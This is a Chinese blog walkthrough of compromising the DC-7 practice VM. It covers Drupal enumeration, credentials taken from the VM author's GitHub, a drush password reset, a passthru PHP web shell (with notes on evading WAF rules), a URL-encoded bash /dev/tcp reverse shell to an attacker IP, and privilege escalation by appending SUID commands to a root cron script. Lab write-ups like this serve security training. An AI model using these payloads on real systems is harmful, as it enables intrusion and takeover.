李乐意的博客

tags:
@ 01/01/0001

端口扫描

22,80.

服务探测

Drupal 8内容管理框架。

在robots.txt有许多路径,但不是都能打开或有价值,翻了一遍后还是选择目录爆破。

目录爆破

gobuster dir -u http://192.168.30.159 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

http://192.168.30.159/core/install.php

image-20251203094432544

收集到版本号Drupal 8.7.6

http://192.168.30.159/INSTALL.txt

image-20251203094633426

http://192.168.30.159/core/INSTALL.txt

然后没思路了,去看了wp。思路很正常,但对于靶机太离奇。

去寻找作者源码仓库。

https://x.com/dc7user

https://github.com/Dc7User/staffdb/blob/master/config.php

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

登录ssh

dc7user

MdR3xOgB7#dW

image-20260104120850160

发现有一个定时任务。

Pspy

https://github.com/DominicBreuker/pspy

pspy 是一款命令行工具,无需 root 权限即可监视进程。它允许您查看其他用户运行的命令、定时任务等的执行过程。非常适合在 CTF 比赛中枚举 Linux 系统。此外,它还能很好地向您的同事演示为什么在命令行中传递密钥参数是个糟糕的主意。

image-20251229101009214

图中显示 /usr/sbin/exim4 -bd -q30m 正在运行。

exim4 在很多旧版本的 Debian/Ubuntu 靶机中是经典的提权点。如果是 4.87 到 4.91 之间,极大概率存在 CVE-2019-10149(The Return of the WIZard)。这是一个远程/本地代码执行漏洞,可以直接获取 Root 权限。

image-20251229101120344

版本为4.89。可能存在漏洞。

exim4漏洞利用

https://github.com/Diefunction/CVE-2019-10149

nc -lvp 9000
python exploit.py --rhost 192.168.30.159 --rport 80 --lhost 192.168.30.131 --lport 9000

这里尝试了一下报错了。

Pspy进程

image-20251229113130372

这里等了很久发现root用户定期执行。

/bin/bash /opt/scripts/backups.sh

如果可以修改backups.sh。

image-20260104120053546

文件“backups.sh”可以被“www-data”用户访问。我们当前登录的用户“dc7user”无法修改它。“backups.sh”脚本运行了多行命令,其中就包括“drush”。我在谷歌上搜索了“drush”,发现它可以用来更改用户的密码。我们来试试。

drush改密码

https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell

这里有写一些drush基本语法。

drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin  123456为我修改的密码。
drush user-password admin --password="123456" 

image-20260104121037496

前去登录后台。

image-20260104121148594

成功登录管理员账号。登录后,我本想上传 PHP shell,但 CMS 上没有安装 PHP。所以,我为 Drupal 安装了 PHP。

Drupal安装php

编辑内容没有发现php code。

image-20260104121735845

添加php。

image-20260104121756155

https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

image-20260104122001320

https://www.drupal.org/project/php/releases

尝试多个版本后这个可以成功。

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20260104143719389

php命令执行

勾选这里。翻到下面点击install。

image-20260104144111273

提示该模块可以使用。

image-20260104144256081

添加一个基本页。

image-20260104144333513

文本类型选择php code。

image-20260104144405117

测试

填入标题,和内容。

<?php phpinfo();?>

点击预览。

image-20260104144545812

image-20260104144708944

这里命令执行成功。

写入一句话木马

<?php @eval($_GET["code"])?> #失败
<?php @passthru($_GET['cmd'])?> # 成功

在编写 PHP 木马或进行渗透测试时,passthru() 常被用作 system() 的替代品,原因如下:

  1. 绕过 WAF/监控:很多简单的防火墙会重点监控 systemeval,使用 passthru 可能会绕过部分基于关键字的简单规则。
  2. 完整回显:在某些复杂的命令执行中,它能比 exec 更直观地展示所有报错和输出信息。
  3. 获取二进制文件:攻击者可以用它直接读取目标服务器上的二进制文件(如 .exe.so)并传输回来。

image-20260104150112519

反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1'
# url编码
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.30.131%2F4444%200%3E%261%27
# 注入
http://192.168.30.159/node/preview/a727c648-4792-4ca0-8f68-4a393dfd4b7c/full?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.30.131%2F4444%200%3E%261%27

image-20260104151003602

修改脚本提权

cd /opt/scripts
echo "cp /bin/dash /tmp/dash;chmod u+s /tmp/dash">>backups.sh

image-20260104151954057

cd /tmp

等待十五分钟,需要定时任务启动。

cat <<EOF > backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
cp /bin/dash /var/tmp/dash;chmod u+s /var/tmp/dash
EOF
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
cp /bin/dash /var/tmp/dash;chmod u+s /var/tmp/dash

image-20260104163521513